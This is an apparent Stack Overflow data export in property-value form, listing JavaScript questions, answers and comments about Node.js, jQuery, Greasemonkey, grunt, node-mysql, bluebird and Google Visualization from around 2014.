has body: I have a task that depends upon function.caller to sanity check that a caller is authorized. According to this url, caller is supported in all major browsers... and all of my unit tests pass: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/caller However, nodejs rejects all attempts to access function.caller (reports it as null). I'm open to suggestions to make this work on nodejs... I'd hate to have this framework only work on browsers. Thanks!
linked to: http://stackoverflow.com/q/16697791
has answer: http://stackoverflow.com/a/25780688
has comment: http://stackoverflow.com/comment/40318354
has comment: http://stackoverflow.com/comment/40343254
score: 10
has title: Accessing the function.caller on nodejs
type: Question
linked to: http://stackoverflow.com/q/13418669
tagged with: javascript
has comment: http://stackoverflow.com/comment/40380271

http://stackoverflow.com/a/25865614
has comment: http://stackoverflow.com/comment/40478506
has body: You can do something like this: localStorage.setItem('arrayOfUserNames', JSON.stringify(['foo'])) var arrayOfUserNames = JSON.parse(localStorage.getItem('arrayOfUserNames')) arrayOfUserNames.push('bar') localStorage.setItem('arrayOfUserNames', JSON.stringify(arrayOfUserNames)) arrayOfUserNames = JSON.parse(localStorage.getItem('arrayOfUserNames')) console.log(arrayOfUserNames) // ["foo", "bar"]
has comment: http://stackoverflow.com/comment/40509229
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25864969
answers question: http://stackoverflow.com/q/25864969

http://stackoverflow.com/comment/40256980
comment on: http://stackoverflow.com/a/25746208
type: AnswerComment
score: 0
has text: Definitely, but he's already told us that it's a global variable (line 1 of the OP) and unless you're scoping this inside something else which you haven't shown in your answer, you're just creating a global object yourself, called `window.globalVariables` :-)
type: Comment

http://stackoverflow.com/q/25775318
has comment: http://stackoverflow.com/comment/40311018
answer count: 0
has body: Apologies in advance I'm very new to this, I previously was using Durandal with NPM and had liverealod working and it was lightning fast, now I'm using grunt with angular and my livereload has gotten much slower, sometimes 4-5 seconds. Didn't know if this was anything I could speed up due to my lack of experience setting up the build. watch: { bower: { files: ['bower.json'], tasks: ['wiredep'] }, js: { files: ['&lt;%= yeoman.app %&gt;/scripts/{,*/}*.js'], tasks: ['newer:jshint:all'], options: { livereload: '&lt;%= connect.options.livereload %&gt;' } }, jsTest: { files: ['test/spec/{,*/}*.js'], tasks: ['newer:jshint:test', 'karma'] }, compass: { files: ['&lt;%= yeoman.app %&gt;/styles/{,*/}*.{scss,sass}'], tasks: ['compass:server', 'autoprefixer'] }, gruntfile: { files: ['Gruntfile.js'] }, livereload: { options: { livereload: '&lt;%= connect.options.livereload %&gt;' }, files: [ '&lt;%= yeoman.app %&gt;/{,*/}*.html', '.tmp/styles/{,*/}*.css', '&lt;%= yeoman.app %&gt;/images/{,*/}*.{png,jpg,jpeg,gif,webp,svg}' ] } }, }, livereload: { options: { open: true, middleware: function (connect) { return [ connect.static('.tmp'), connect().use( '/bower_components', connect.static('./bower_components') ), connect.static(appConfig.app) ]; } } }, Any help would be greatly appreciated thanks!!
tagged with: livereload
type: Question
tagged with: javascript
tagged with: gruntjs
tagged with: compass
score: 0
has comment: http://stackoverflow.com/comment/40312713
has title: Slow livereload with grunt
tagged with: angularjs
type: UnansweredQuestion

http://stackoverflow.com/comment/125298587
comment on: http://stackoverflow.com/a/66515641
type: AnswerComment
has text: This one is simple and the best...
type: Comment
score: 0

http://stackoverflow.com/q/25839565
score: 0
has title: How to Recreate the Android Facebook app's view swiping UX?
tagged with: android
has body: I'm looking to make something exactly like Facebook's Android app's UX for swiping between News Feed, Friend Requests, Messages, and Notifications. You should be able to "peek" at the next view by panning to the right of left, and it should snap to the next page when released if some threshold has been passed or when swiped. Every scroll snap solution I've seen only snaps after the scrolling stops, whereas I only ever want to scroll one page at a time. EDIT: Here's what I have so far. It seems to work fine when emulating an Android device in Google Chrome, but doesn't work when I run it on my Galaxy S4 running 4.4.2. Looking into it a bit more, it looks like touchcancel is being fired right after the first touchmove event which seems like a bug. Is there any way to get around this? var width = parseInt($(document.body).width()); var panThreshold = 0.15; var currentViewPage = 0; $('.listContent').on('touchstart', function(e) { console.log("touchstart"); currentViewPage = Math.round(this.scrollLeft / width); }); $('.listContent').on('touchend', function(e) { console.log("touchend"); var delta = currentViewPage * width - this.scrollLeft; if (Math.abs(delta) &gt; width * panThreshold) { if (delta &lt; 0) { currentViewPage++; } else { currentViewPage--; } } $(this).animate({ scrollLeft: currentViewPage * width }, 100); });
accepted answer: http://stackoverflow.com/a/26170168
tagged with: scroll
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/26170168
type: Question
answer count: 1
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25804016
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25804146
type: Question
has body: I am making a scratch card game and if there are three of the same img in a row i want to get an alert how can i do this. here is an example of code: var cleared = 0; //scratchpad1 var images = [], index = 0; images[0] = "images/slide1.jpg"; //de plaatjes die je kunt vrij krassen images[1] = "images/slide2.jpg"; images[2] = "images/slide3.jpg"; images[3] = "images/logo.jpg"; images[4] = "images/winner.png"; images[5] = "images/scratch-to-win.png"; index = Math.floor(Math.random() * images.length); $('#nummer1').wScratchPad({ scratchMove: function (e, percent) { console.log(percent); if (percent &gt; 70) { this.clear(); cleared++; } } }); $("#nummer1").wScratchPad('bg', images[index]); $("#nummer1").wScratchPad('fg', 'images/overlay.png'); //de laag die je weg krast $("#nummer1").wScratchPad('size', '15'); //grote van het vlak dat je ineens weg krast $("#nummer1").wScratchPad('cursor', 'url("./images/coin.png") 5 5, default'); //de muis die je hebt boven het krasveld //scratchpad2 var images = [], index = 0; images[0] = "images/slide1.jpg"; images[1] = "images/slide2.jpg"; images[2] = "images/slide3.jpg"; images[3] = "images/logo.jpg"; images[4] = "images/winner.png"; images[5] = "images/scratch-to-win.png"; index = Math.floor(Math.random() * images.length); $('#nummer2').wScratchPad({ scratchMove: function (e, percent) { console.log(percent); if (percent &gt; 70) { this.clear(); cleared++; } } }); $("#nummer2").wScratchPad('bg', images[index]); $("#nummer2").wScratchPad('fg', 'images/overlay.png'); $("#nummer2").wScratchPad('size', '15'); $("#nummer2").wScratchPad('cursor', 'url("./images/coin.png") 5 5, default'); //scratchpad3 var images = [], index = 0; images[0] = "images/slide1.jpg"; images[1] = "images/slide2.jpg"; images[2] = "images/slide3.jpg"; images[3] = "images/logo.jpg"; images[4] = "images/winner.png"; images[5] = "images/scratch-to-win.png"; index = Math.floor(Math.random() * images.length); $('#nummer3').wScratchPad({ scratchMove: function (e, percen…
has title: How to get an alert when there are three images in a row
tagged with: if-statement
has comment: http://stackoverflow.com/comment/40362870
tagged with: javascript
tagged with: image
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25804146

http://stackoverflow.com/q/25778469
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/25532475
linked to: http://stackoverflow.com/q/24719256
has comment: http://stackoverflow.com/comment/40316700
type: Question
has title: How to access `window` (Target page) objects when @grant values are set?
answer count: 2
has answer: http://stackoverflow.com/a/60796232
tagged with: greasemonkey
tagged with: firefox
has body: Let's say I am working with the following web page: click me and my Greasemonkey script is: // ==UserScript== // @name My Script // @include http://example.com/hello.html // @version 1 // @grant none // ==/UserScript== window.hello = function() { alert('goodbye'); } With the Greasemonkey script disabled, clicking the #click element on the page displays the 'hello' alert. With the script enabled, clicking the element displays the 'goodbye' alert. Simple enough. The hello function from the web page is being replaced by the function in the Greasemonkey script. Now let's say I want to use a Greasemonkey API. When I set the @grant value to a valid value other than 'none' (e.g. // @grant GM_setClipboard) [which causes Greasemonkey to run the script as a "content script", rather than in the page's scope like with 'none'], the Greasemonkey script fails to work. window.hello is no longer targeting the correct object on the page. Replacing window.hello with unsafeWindow.hello looks like it would work, but instead, the following error is thrown in the JS console: Error: Permission denied to access object How can I rewrite the Greasemonkey script while having @grant GM_setClipboard set to target and replace the original hello function on the page? System information: Windows 7 64-bit Firefox 32.0 Greasemonkey 2.2
tagged with: javascript
linked to: http://stackoverflow.com/q/13485122
upvote count: 19
has answer: http://stackoverflow.com/a/25785794
accepted answer: http://stackoverflow.com/a/25785794
favorite count: 0
possible better answer: http://stackoverflow.com/a/60796232
score: 19

http://stackoverflow.com/comment/40269683
type: Comment
comment on: http://stackoverflow.com/q/25749333
has text: No, the last script loaded a new page where the element is located.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40279989
comment on: http://stackoverflow.com/q/25758276
score: 0
type: QuestionComment
has text: @X9DESIGN look at this [jsfiddle demo](http://jsfiddle.net/Ldwdy49w/2/)
type: Comment

http://stackoverflow.com/comment/40269897
comment on: http://stackoverflow.com/q/25753024
score: 0
type: Comment
type: QuestionComment
has text: I don't know how to debug, that's why I am here..

http://stackoverflow.com/q/25826072
answer count: 1
has answer: http://stackoverflow.com/a/25838365
has comment: http://stackoverflow.com/comment/40403237
tagged with: node.js
type: UnansweredQuestion
tagged with: node-mysql
tagged with: error-handling
has body: I'm writing a registration form in my application, the user's name and the user's email must be unique. I run a mysql database and use node-mysql (v 2.0.0) as driver. When a user tries to use a name that is allready registered in the database, mysql raises the following error : Error: ER_DUP_ENTRY: Duplicate entry 'John' for key 'nickname', but in the Error object raised by node-mysql contains no usefull informations about the error : console.log(JSON.stringify(err)); {"code": "ER_DUP_ENTRY", "errno": 1062, "sqlState": "23000", "index": 0} Where can I get the involved entry and key ? I need to know which of the key nickname or the key email is responsible for the duplicate key error, so that I can warn the user. I know I can find this info doing err.toString() and parsing the result (which contains is the mysql error string itself) but I would like to know if there is a better way to do so.
type: Question
has comment: http://stackoverflow.com/comment/40422713
tagged with: javascript
has title: Properly handling duplicated key with node-mysql
score: 0

http://stackoverflow.com/comment/76980212
type: Comment
comment on: http://stackoverflow.com/a/25862825
has text: https://stackoverflow.com/questions/24114493/remove-all-files-option-from-html-file-input
type: AnswerComment
score: 0

http://stackoverflow.com/a/32018911
downvote count: 0
has body: Adding ng-if ="$index &lt; limit" to the ng-repeat tag did the trick for me, though it's probably not strictly the "right" way to do this.
type: Answer
answers question: http://stackoverflow.com/q/25868760
upvote count: 10
has comment: http://stackoverflow.com/comment/70370455
has comment: http://stackoverflow.com/comment/80805114
score: 10

http://stackoverflow.com/comment/40460427
type: Comment
type: QuestionComment
has text: OK, well the code looks ok and works in [this fiddle](http://jsfiddle.net/mhnq4d2k/)
score: 0
comment on: http://stackoverflow.com/q/25857566

http://stackoverflow.com/comment/40370208
has text: Yes that makes sense now, I'll try to write an answer.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25808271

http://stackoverflow.com/q/25781812
favorite count: 0
tagged with: promise
tagged with: dojo
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40323629
tagged with: bluebird
downvote count: 0
score: 1
accepted answer: http://stackoverflow.com/a/25783277
type: Question
has comment: http://stackoverflow.com/comment/40323434
tagged with: javascript
has body: I have included bluebird.js script as written here: https://github.com/petkaantonov/bluebird#quick-start So now I'm expecting this: The global variables Promise and P (alias for Promise) become available after the above script tag. But, inspecting global Promise variable, I find that is the native Chrome implementation, not the bluebird promise. Well, that seems logical not to override native implementation. But still, there isn't event the global P variable from bluebird. Why is that? Another option I tried is to use: var prom = require("bluebird"); but when I try to require, it shows "Error: undefinedModule". One possible reason is that I'm using dojo, which has its own module loader with define/require functions. So it could be some kind of name clash. After all this, the main question remains - how can I use bluebird promises, when globals (Promise and P) are not there, and require is not working?
has answer: http://stackoverflow.com/a/25783277
answer count: 2
upvote count: 1
possible better answer: http://stackoverflow.com/a/25791434
has answer: http://stackoverflow.com/a/25791434
has title: bluebird.js P and Promise globals not available

http://stackoverflow.com/comment/40418034
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25834460
type: QuestionComment
has text: *"I want to append an element "* - which element? *"the element duplicates itself to be appended to each span instead of just going at the very end of the last span"* - where is the code that does this?

http://stackoverflow.com/comment/40552857
has text: Have you checked [rewire](https://github.com/jhnns/rewire)? It might solve your other cases.
comment on: http://stackoverflow.com/a/25893745
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/a/25789430
type: AcceptedAnswer
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/25786207
has body: Typically what you will see is return being used in cases where you get an error and want to stop the next lines of code in the same block from executing. Example: book.save(function(err) { if (err) return console.log(err); console.log('book updated'); response.send(book); }); It does also help save a level of indentation. Other than that, returning a value from a (async) callback or event handler is generally useless because the return value is completely ignored.
answers question: http://stackoverflow.com/q/25786207

http://stackoverflow.com/a/25733318
answers question: http://stackoverflow.com/q/25733292
accepted answer of: http://stackoverflow.com/q/25733292
has body: Property names that are not valid JavaScript identifiers (or numbers) can be included as strings. Wrap it in a pair of " or '. data: { "some_data[0].value" : 0 },
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40233220

http://stackoverflow.com/a/25728399
has comment: http://stackoverflow.com/comment/40238264
has comment: http://stackoverflow.com/comment/40257608
answers question: http://stackoverflow.com/q/25728334
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25728334
has comment: http://stackoverflow.com/comment/40248418
score: 1
has comment: http://stackoverflow.com/comment/40226302
upvote count: 1
has comment: http://stackoverflow.com/comment/40223834
has body: you can add it directly to the clicked element by using this jQuery(document).ready(function() { jQuery('.left-submenu li a').click(function() { jQuery('.left-submenu').removeClass('move-right'); // remove class move-right from every elements with class left-submenu jQuery(this).parents('.left-submenu').addClass('move-right'); // add class move-right to the parent with class left-submenu of current element }); }); Edit: if in your updated code, you want to click only by a right after .has-submenu, you need this probably, so it didn't trigger on click for a inside .left-submenu jQuery(document).ready(function() { jQuery('.has-submenu &gt; a').click(function() { jQuery('.left-submenu').removeClass('move-right'); // remove class move-right from every elements with class left-submenu jQuery(this).children('.left-submenu').addClass('move-right'); // add class move-right to the children with class left-submenu of current element }); }); sorry for my mistakes not looking again for the code before posting it, because ul.left-submenu is in the same position with a and not it's children, you need to use .siblings to get ul.left-submenu, so change the code to this jQuery(document).ready(function() { jQuery('.has-submenu &gt; a').click(function() { jQuery('.left-submenu').removeClass('move-right'); jQuery(this).siblings('.left-submenu').addClass('move-right'); }); }); here's the working Example in Fiddle

http://stackoverflow.com/q/25764455
has comment: http://stackoverflow.com/comment/40290493
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
has title: Clipboard data check and convert to text using javascript
duplicate of: http://stackoverflow.com/q/16748735
type: UnansweredQuestion
has body: I have a textarea and when i paste a inside in it using ctrl+v , i need to check the content and if any content inside in it i need to change it into text and place it inside the textarea. any method by using JavaScript ?
has comment: http://stackoverflow.com/comment/40289887
answer count: 0
linked to: http://stackoverflow.com/q/16748735
type: Question
has comment: http://stackoverflow.com/comment/40289801

http://stackoverflow.com/comment/40388045
has text: you have a lot of issues with your code. I've fixed a few, but your main problem in the fiddle was that **1)** your script needed to load in the ` ` tag because elements required the script to be in place, **2)** You were missing a curly brace at [current] line 93 **3)** order of variable assignments matters, and **4)** added many missing semicolons. I didn't look through too much of the code, but my changes fixed at least 4 errors so far. http://jsfiddle.net/w8z4skyt/3/
comment on: http://stackoverflow.com/a/25816908
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40203133
has text: I THINK THAT WORKED. Thank you SO much for bearing with me dude. I'm still very new at this so this help is GREATLY appreciated.
type: Comment
comment on: http://stackoverflow.com/a/25716796
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40442632
has text: thanks it works! it is in window scope
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25848071
type: Comment

http://stackoverflow.com/a/25855125
upvote count: 1
downvote count: 1
has body: var scores=[0.7, 1.05, 0.81, 0.96, 3.2, 1.23]; var lowIndex = 0; var highIndex = 0; var currentLow = 0; var currentHigh = 0; var temp = 0; var variable = 2; for(var i = 0; i &lt; scores.length; i++) { temp = variable - scores[i]; if((currentLow == 0) &amp;&amp; (temp &gt; 0)) { currentLow = temp; } if((currentHigh == 0) &amp;&amp; (temp &lt; 0)) { currentHigh = temp; } if((temp &gt;= currentHigh) &amp;&amp; (temp &lt;= 0)) { highIndex = i; currentHigh = temp; } if((temp &lt;= currentLow) &amp;&amp; (temp &gt;= 0)) { lowIndex = i; currentLow = temp; } } window.alert("Low:" + lowIndex + " High:" + highIndex); This code works and you can see the logic of whats going on.
answers question: http://stackoverflow.com/q/25854212
score: 0
has comment: http://stackoverflow.com/comment/40457525
type: Answer

http://stackoverflow.com/comment/40327290
has text: where i can found it?
type: Comment
comment on: http://stackoverflow.com/q/25784944
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40305710
type: QuestionComment
has text: @JohnChrysostom Yeah, that makes a lot more sense.
comment on: http://stackoverflow.com/q/25772826
score: 0
type: Comment

http://stackoverflow.com/a/25860714
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40491092
has comment: http://stackoverflow.com/comment/40490538
has comment: http://stackoverflow.com/comment/40491028
has comment: http://stackoverflow.com/comment/40490821
downvote count: 0
has comment: http://stackoverflow.com/comment/40491361
has comment: http://stackoverflow.com/comment/40491225
type: Answer
has comment: http://stackoverflow.com/comment/40490767
has body: As far as I know the animation fires an 'end' event (I haven't tried this myself yet). shrinky.addEventListener('end', function() { doSomething });
answers question: http://stackoverflow.com/q/25860395
has comment: http://stackoverflow.com/comment/40491241

http://stackoverflow.com/comment/40345641
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25794637
type: Comment
has text: Ah ok yeah i was just guessing at your HTML but the jQuery you can just adjust. No problem

http://stackoverflow.com/q/25815384
has comment: http://stackoverflow.com/comment/40386478
tagged with: global-variables
type: Question
answer count: 2
tagged with: google-maps
tagged with: javascript
tagged with: google-maps-api-3
score: 0
has answer: http://stackoverflow.com/a/25817176
has body: I'm making a webapp that allows people to see the location of buses on Google maps. I'm having some problems with global variables in JavaScript. window.variable doesn't work for me. Neither does defining the variable outside the all the functions works. Here is my complete client side code: Geolocation The variable in question is old. I can pass it to the initialize function from within the get location function using initialize(old);. However, as you can see, I'm using a timer, and initialize(old); causes the entire map to reload again and again, whereas I only want the location markers to load again and again.
type: UnansweredQuestion
has title: JavaScript global variable in Google Maps
has answer: http://stackoverflow.com/a/25824312
has comment: http://stackoverflow.com/comment/40386630

http://stackoverflow.com/comment/40304117
type: QuestionComment
comment on: http://stackoverflow.com/q/25772015
has text: But is there any work around.Will using routes be okay.
score: 0
type: Comment

http://stackoverflow.com/comment/40315732
comment on: http://stackoverflow.com/q/25778251
type: QuestionComment
type: Comment
has text: Debugging: does it change if you put it in a 1-second `setTimeout`?
score: 0

http://stackoverflow.com/q/25815408
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/44979310
has comment: http://stackoverflow.com/comment/40384416
has title: Bootstrap modal stopped working randomly
has comment: http://stackoverflow.com/comment/40384834
type: Question
tagged with: twitter-bootstrap
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40383998
tagged with: wordpress
has comment: http://stackoverflow.com/comment/40383965
has comment: http://stackoverflow.com/comment/40384124
has body: I have two modal pop-ups on my page that were working perfectly the other day. Now they've stopped working, and I have no clue why. Here's the link HTML: Request Samples Here's the modal: <?php gravity_form(4, $display_title=false, $display_description=false, $display_inactive=false, $field_values=null, $ajax=false); ?> Here's the page I'm working on: http://michaelscollins.com
has comment: http://stackoverflow.com/comment/40384106
tagged with: bootstrap-modal
has answer: http://stackoverflow.com/a/37775997

http://stackoverflow.com/comment/40368593
comment on: http://stackoverflow.com/q/25807479
type: Comment
type: QuestionComment
has text: If you make the default an empty string, using something like this, Please select then required would work.
score: 1

ibm-mobilefirst
tags question: http://stackoverflow.com/q/25788068
tags question: http://stackoverflow.com/q/25739027
tags question: http://stackoverflow.com/q/25855936
type: Tag
tag name: ibm-mobilefirst
tags question: http://stackoverflow.com/q/25796117

http://stackoverflow.com/comment/40200750
type: AnswerComment
type: Comment
has text: Can you explain what `_that` is doing? How can you set `_that.selectedRoles` to `_that.user.roles` when `_that` hasn't been defined yet?
comment on: http://stackoverflow.com/a/25716069
score: 0

http://stackoverflow.com/comment/40203610
comment on: http://stackoverflow.com/q/25717695
type: QuestionComment
type: Comment
has text: did u see any errors on the browser console?
score: 0

http://stackoverflow.com/comment/40335479
has text: BTW, when/How are you executing this script?
comment on: http://stackoverflow.com/q/25789508
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40390635
score: 0
type: Comment
type: QuestionComment
has text: @Daedalus version:- Version 37.0.2062.103 m of chrome and what mean the 'specific parameters' ? and this code worked properly yesterdy and even without doing anymodification now it is not. Is it a problem with my machine or what? how can i find it out?
comment on: http://stackoverflow.com/q/25818659

http://stackoverflow.com/q/25803895
type: Question
accepted answer: http://stackoverflow.com/a/25833538
type: AnsweredQuestion
score: 1
tagged with: mysql
has answer: http://stackoverflow.com/a/25806170
has answer: http://stackoverflow.com/a/25833538
has title: Google visualization table doesn't understand my code
answer count: 3
tagged with: google-visualization
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40363897
favorite count: 0
has body: Can anyone point out what I'm doing wrong here, i'm literally banging my head of the table!, the data is coming off in the html source, but the page is just blank, the google table doesn't seem to like it. google.load("visualization", "1", {packages:["table"]}); google.setOnLoadCallback(drawTable); function drawTable() { var data = new google.visualization.DataTable(); data.addColumn('string', 'COND_CODE'); data.addColumn('number', 'PEICE_NO'); data.addRows([ &lt;?php while( $row = $result-&gt;fetch_assoc() ){ extract($row); echo "{['$COND_CODE'], ['$PEICE_NO'],"; } ?&gt; ]); var table = new google.visualization.Table(document.getElementById('table_div')); table.draw(data, {showRowNumber: true}); } &lt;/script&gt; Thanks EDIT: Here is the html output &lt;html&gt; &lt;head&gt; &lt;script type="text/javascript" src="https://www.google.com/jsapi"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; google.load("visualization", "1", {packages:["table"]}); google.setOnLoadCallback(drawTable); function drawTable() { var data = new google.visualization.DataTable(); data.addColumn('string', 'COND_CODE'); data.addColumn('number', 'PEICE_NO'); data.addRows([ {['BTH'], ['03084'],{['BTH'], ['03084'],{['TC'], ['02549'],{['SM'], ['03049'],{['BTH'], ]); var table = new google.visualization.Table(document.getElementById('table_div')); table.draw(data, {showRowNumber: true}); } &lt;/script&gt;
possible better answer: http://stackoverflow.com/a/25806170
has answer: http://stackoverflow.com/a/25806272
upvote count: 1
tagged with: php

http://stackoverflow.com/comment/40387751
has text: @Terry: On need the demo which reproduces the problem. The question don't contains the column definition (whether `formatter: "date"` be used or not and all other options). In general I don't recommend ever to send date over the wire in some locale format. I recommend to use ISO 8601 format: `2014-09-13`. It's default input format which jqGrid uses.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25805450

http://stackoverflow.com/q/25817135
tagged with: css
has answer: http://stackoverflow.com/a/25817187
has comment: http://stackoverflow.com/comment/40386978
type: UnansweredQuestion
downvote count: 1
score: -1
has body: I have a set of buttons that are currently just images with different hover effects defined like so: &lt;img src="home.PNG" onmouseover="this.src='homemo.PNG'" onmouseout="this.src='home.PNG'" /&gt; And what I want to do with them is scroll down to a different div upon clicking them but I am unsure on how to do this. I found a sample piece of code that works in this scenario here http://jsfiddle.net/ryXFt/3/ but my problem is that I don't know how to apply this to my images that I have created. This is my failed attempt at trying to get it to work: &lt;script type="text/javascript"&gt; &lt;script&gt; $("home.PNG").click(function() { $('html,body').animate({ scrollTop: $(".centre .main .para2").offset().top}, 'slow'); }); &lt;/script&gt; However it does not work and I am unsure simply how to get javascript to recognise the image as something to click.
has comment: http://stackoverflow.com/comment/40387038
type: Question
answer count: 2
upvote count: 0
has title: Javascript scroll vertically after clicking an image
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25817211
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25730591
score: 1
has answer: http://stackoverflow.com/a/25730662
has body: I'm trying this, but can't make it happen. I am trying to get the first column text. First column text contains the room Number. Here is what I have done so far: $.each(eval(data), function(index, item) { $('#data-Tables tbody').append(' ' + item.ROOM + ' ' + item.GUEST_NAME + ' Details '); }); I used onclick="showDetails(e)" on a tag, then I defined function on page: function showDetails(e){ $(this).text('changebtn text'); } I get this error on Firebug: ReferenceError: e is not defined I also tried without e, I didn't get the error message on Firebug. But in both cases the $(this) didn't work. How can I get the first column data? I can't use selector.click because it's not working. I even tried with document.ready and made many attempts, it's some kind of problem with gadget. Is there any way to get the first column data on dynamic table when clicked on button? Here is the screenshot of my gadget:
possible better answer: http://stackoverflow.com/a/25730739
upvote count: 1
has title: Get first column text from table on onclick function
type: Question
has answer: http://stackoverflow.com/a/25730718
tagged with: javascript
has comment: http://stackoverflow.com/comment/40227826
answer count: 3
accepted answer: http://stackoverflow.com/a/25730662
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25730739
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40227755

http://stackoverflow.com/q/25723907
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25728450
answer count: 1
accepted answer: http://stackoverflow.com/a/25728450
tagged with: ember.js
has comment: http://stackoverflow.com/comment/40221647
type: AnsweredQuestion
tagged with: leaflet
type: Question
linked to: http://stackoverflow.com/q/12493693
has title: Sending content to ember-leaflet from a specific controller
has body: (Tighter version of the (deleted) question I asked yesterday…) Trying to get an address (from an address model) to appear on an ember-leaflet map when by itself. This works, proving that the maps are rendering ok (earlier I had a problem since I defined the view before the marker collection layer in views/map.js): App.MarkerCollectionLayer = EmberLeaflet.MarkerCollectionLayer.extend({ content: [ {location: L.latLng(40.714, -74.000)} ] }); App.MapView = EmberLeaflet.MapView.extend({ classNames: ['ember-leaflet-map'], childLayers: [ App.TileLayer, // defined elsewhere App.MarkerCollectionLayer ], zoom: 13 }); with this controller (controllers/address.js): App.AddressesShowController = EmberObjectController.extend({ someText: "The controller works" }); with this template (templates/addresses/show.hbs): {{view App.MapView }} {{someText}} {{street}} {{city}}, {{state}}, {{postalCode}} {{country}} But as soon as I try to move everything to the controller, the marker disappears. I don't even use the contentBinding: 'controller' line in defining MapView, since I want to reuse it throughout the app. So something as simple as this (views/map.js): App.MarkerCollectionLayer = EmberLeaflet.MarkerCollectionLayer.extend({ }); controllers/address.js: App.AddressesShowController = Ember.ObjectController.extend({ someText: "The controller works", content: [ {location: L.latLng(40.714, -74.00)} ] }); and templates/addresses/show.hbs (suggested by get content in view from ContentBinding ): {{view App.MapView contentBinding="App.AddressesShowController"}} Makes no marker appear. I think I've more or less exhausted the ways to make sure the ember-leaflet view gets bound to a specific controller. Any ideas? Thanks.

http://stackoverflow.com/q/25774202
tagged with: coldfusion
score: 0
has comment: http://stackoverflow.com/comment/40339249
tagged with: javascript
type: UnansweredQuestion
answer count: 0
tagged with: jquery
type: Question
has comment: http://stackoverflow.com/comment/40322566
has title: Jquery TokenInput Pre-populate based on Selected option in Dropdown
has body: I need to pre-populate textfields that's using jquery tokeninput based on what is populated from a readonly field right next to it. This readonly text field is populated based on the user's selection from a dropdown. I'm at a standstill as to best way to achieve this. Basically need to copy the value from the textfield (name=hndarea) to the dropdown (name=selarea) right next to it which is not using tokeninput. The other ones are both text fields, one readonly (hndManager1) and the other one (name=txtManager1) not read only using tokeninput. The user could change what's in the non-readonly textfield and dropdown if they wanted. loc.js file function setLocDropdown_other() { var strval = $("#selPin").val(); if (strval != '') { var $select = $('#selLocation') $select.empty(); $select.append(' --Please select-- '); getdropdowndata('/cfc/LocMatrix.cfc?method=getLocJson&Pin=' + strval,$select,'',strval) } } function getLocInfo(obj) { var $Pin = $("#selPin").val(); var $Loc = $("#selLocation").val().split("~"); $.ajax({ url: "/cfc/LocMatrix.cfc?method=LocMatrixDetailsJson&Pin=" + $Pin + '&Location='+ $Loc[0], dataType: "json", maxrow: 1, dataFilter: function (data) { return data; }, success: function (data) { //map columns to names $('#hndVP').val('') $('#hndManager1').val('') var columnMap = {} for (var i = 0; i < data.COLUMNS.length; i++) { columnMap[data.COLUMNS[i]] = i } for (var i = 0; i < data.DATA.length; i++) { $('#trChangeValue').show() $('#hndarea').val(data.DATA[i][columnMap.area]) $('#hndarea').show() if (data.DATA[i][columnMap.VP_E] != null) {$('#hndVP').val(data.DATA[i][columnMap.VP_E])} $('#hndVP').show() if (data.DATA[i][columnMap.Loc_MGR_E1] != null) {$('#hndManager1').val(data.DATA[i][columnMap.Loc_MGR_E1])} $('#hnManager1').show() } }, error: function (XMLHttpRequest, textStatus, errorThrown) { alert(textStatus); } }); } page.cfm area * #desc# VP * <cfinput type="text" name="txtVP" style="float:left !important;"> Manager 1 * <cfinput type="text" name="tx…

http://stackoverflow.com/a/25787802
type: Answer
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40345897
has comment: http://stackoverflow.com/comment/40343675
answers question: http://stackoverflow.com/q/25775753
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25775753
has body: You'll have to write a custom fragment shader for this purpose. You can take a look near the bottom of this page for a sample implementation of a Lommel-Seeliger shader. Within Three.js, use a ShaderMaterial to apply your shader. A nice introduction to the concept is this tutorial, basically you do var shaderMaterial = new THREE.ShaderMaterial({ vertexShader: vertexShader, fragmentShader: fragmentShader });

http://stackoverflow.com/a/58918289
accepted answer of: http://stackoverflow.com/q/25826573
answers question: http://stackoverflow.com/q/25826573
type: AcceptedAnswer
